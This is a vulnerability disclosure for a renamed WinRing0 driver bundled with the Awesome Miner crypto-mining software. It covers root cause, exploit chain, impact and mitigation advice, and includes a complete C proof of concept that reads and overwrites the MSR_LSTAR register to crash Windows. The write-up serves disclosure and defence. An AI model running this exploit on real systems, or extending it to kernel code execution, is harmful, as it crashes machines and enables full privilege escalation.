CVE-2025-63602: Hijacking System Calls with a Popular Crypto Miner

Context & Scope

Awesome Miner 11.2.4 makes use of a notoriously vulnerable kernel driver (WinRing0 1.2.0.5) for its low-level functionality. When loaded by Awesome Miner itself, a HANDLE to the driver can only be acquired by administrators; when loaded by an app other than Awesome Miner, an unprivileged user can obtain a HANDLE to the driver.

Even though, when loaded by Awesome Miner, administrator privileges are required, even administrators should not be able to freely interact with kernel-level read/writes and manufacturer-specific registers. Furthermore, the mere existence of the driver on a system presents a risk as, if it is loaded outside of Awesome Miner, unprivileged users are able to obtain a HANDLE to it, allowing total system compromise.

• Tested platform: Windows 11, 25H2, 26200.7171.
• Miner version: 11.2.4.
• Target: Kernel-mode helper driver..
• Privilege/Context required: Low-privileged local user account if loaded outside of process; administrator if loaded by process.

Root Cause

At a high level, the vulnerability is caused by a kernel driver IOCTL handler that forwards attacker-controlled parameters directly into MSR read/write primitives without validating which MSRs may be touched and without constraining the caller's privilege level (outside of Awesome Miner).

// expected data type for write requests
typedef struct _OLS_WRITE_MSR_INPUT {
	ULONG Register;
	ULARGE_INTEGER Value;
} OLS_WRITE_MSR_INPUT;

// corresponds to CTL code 0x9c402084 (READ)
00011468  int64_t sub_11468(int32_t* arg1, int64_t arg2, uint64_t* arg3, int32_t* arg4)
0001146a      uint32_t temp0
0001146a      temp0, temp0 = __rdmsr(*arg1)
00011473      int32_t temp1
00011473      *arg3 = zx.q(temp0) | zx.q(temp1) << 0x20
0001147b      *arg4 = 8
00011492      return 0

// corresponds to CTL code 0x9c402088 (WRITE)
0001149c  int64_t sub_1149c(int32_t* arg1, int32_t* arg2)
000114ac      int64_t msrs = __wrmsr(arg1[1], (*(arg1 + 4) u>> 0x20).d, *arg1)
000114b3      *arg2 = 0
000114c7      return 0
            

The affected driver, IntelliBreeze.Maintenance.Service.sys, is quite literally WinRing0 renamed (matching hashes), and this version lacks a proper restrictive DACL for driver HANDLE access.

Exploit Chain

• If started by Awesome Miner:
• Attacker requires an administrative user session on a host with the miner installed.
• Attacker opens a handle to the vulnerable device object exposed by the helper driver.
• Attacker issues crafted IOCTLs to write specific MSRs that control page tables or interrupt handlers.
• By carefully choosing values, the attacker maps controlled memory as executable in kernel context.
• Finally, a controlled transition is triggered (e.g., via a system call) to run attacker code in ring 0.
• If started by process other than Awesome Miner:
• Attacker gains or starts from a standard user session on a host with the miner installed.
• Attacker opens a handle to the vulnerable device object exposed by the helper driver.
• Attacker issues crafted IOCTLs to write specific MSRs that control page tables or interrupt handlers.
• By carefully choosing values, the attacker maps controlled memory as executable in kernel context.
• Finally, a controlled transition is triggered (e.g., via a system call) to run attacker code in ring 0.

The exploit code below will first locate the value of the Long System Target Address Register (MSR_LSTAR) and then replace it, OS-wide, with an invalid address. This results in a BSOD on the next executed syscall instruction. The full code below can be found here. This can, of course, be taken further by, for instance, achieving kernel-mode code execution.

... snip ...

#define OLS_TYPE 40000
#define IOCTL_OLS_GET_DRIVER_VERSION \
    CTL_CODE(OLS_TYPE, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_OLS_READ_MSR \
    CTL_CODE(OLS_TYPE, 0x821, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_OLS_WRITE_MSR \
    CTL_CODE(OLS_TYPE, 0x822, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define DRIVER_PIPE  "\\\\.\\WinRing0_1_2_0"
#define MSR_LSTAR    0xC0000082

typedef struct _OLS_WRITE_MSR_INPUT {
	ULONG Register;
	ULARGE_INTEGER Value;
} OLS_WRITE_MSR_INPUT;

bool GetDriverHandle(HANDLE& driverHandle) {
	driverHandle = CreateFileA(DRIVER_PIPE, GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
	if (driverHandle == INVALID_HANDLE_VALUE) {
		fmt::print("Failed to open driver handle. Error: {}\n", GetLastError());
		return false;
	}
	fmt::print("Driver handle opened successfully.\n");

	return true;
}

bool SendIORequest(HANDLE driverHandle, DWORD ioctlCode, LPVOID inBuffer, DWORD inBufferSize, LPVOID outBuffer, DWORD outBufferSize, LPDWORD bytesReturned) {
	if (!DeviceIoControl(driverHandle, ioctlCode, inBuffer, inBufferSize, outBuffer, outBufferSize, bytesReturned, nullptr)) {
		fmt::print("DeviceIoControl failed. Error: {}\n", GetLastError());
		return false;
	}
	fmt::print("IOCTL sent successfully.\n");
	return true;
}

int main() {
	HANDLE driverHandle;

	fmt::print("Obtaining driver handle...\n");
	if (!GetDriverHandle(driverHandle)) {
		fmt::print("Could not get driver handle. Is it started?\n");
		return 1;
	}
	fmt::print("Driver handle obtained.\n");

	ULARGE_INTEGER msrValue      = { 0 };
	ULONG          msrRegister   = MSR_LSTAR;
	DWORD          bytesReturned;

	fmt::print("Reading MSR_LSTAR (0x{:X})...\n", MSR_LSTAR);
	if (!SendIORequest(driverHandle, IOCTL_OLS_READ_MSR, &msrRegister, sizeof(msrRegister), &msrValue, sizeof(msrValue), &bytesReturned)) {
		fmt::print("Failed to read MSR_LSTAR.\n");
		CloseHandle(driverHandle);
		return 1;
	}
	fmt::print("MSR_LSTAR Value: 0x{:X}\n", msrValue.QuadPart); // KASLR pwnage

	OLS_WRITE_MSR_INPUT writeMsrInput;
	writeMsrInput.Register       = MSR_LSTAR;
	writeMsrInput.Value.QuadPart = INT64_MAX; // black magic can easily be done here....

	fmt::print("Writing new value to MSR_LSTAR at 0x{:X} with invalid address...\n", MSR_LSTAR);
	if (!SendIORequest(driverHandle, IOCTL_OLS_WRITE_MSR, &writeMsrInput, sizeof(writeMsrInput), nullptr, 0, &bytesReturned)) {
		fmt::print("Failed to write MSR_LSTAR.\n");
		CloseHandle(driverHandle);
		return 1;
	}
	fmt::print("MSR_LSTAR updated successfully. System will crash.\n"); 

	CloseHandle(driverHandle);
	return 0;
}
            

As this driver is, quite literally, WinRing0, exploits for that driver are applicable. For instance, see here.

Impact

With reliable control of MSRs, the attacker obtains a very strong primitive: the ability to influence CPU behavior at a low level and reach arbitrary code execution in kernel context. From here, the usual post-exploitation playbook applies.

• Full local privilege escalation to kernel / SYSTEM.
• Ability to bypass OS security boundaries and tamper with security tooling.
• Potential for stealthy persistence in kernel space.
• Feasibility of sandbox or container escape depending on deployment model.

Recommendations

It is highly recommended to avoid any software that makes use of WinRing0 as it is a highly exploitable driver that can lead to total compromise of your system. From the software developer side of things, it is recommended to use alternative components to allow manipulation of manufacturer-specific registers. For instance, Fan Control was another piece of software that made use of WinRing0. However, after some time, they effectively switched to PawnIO.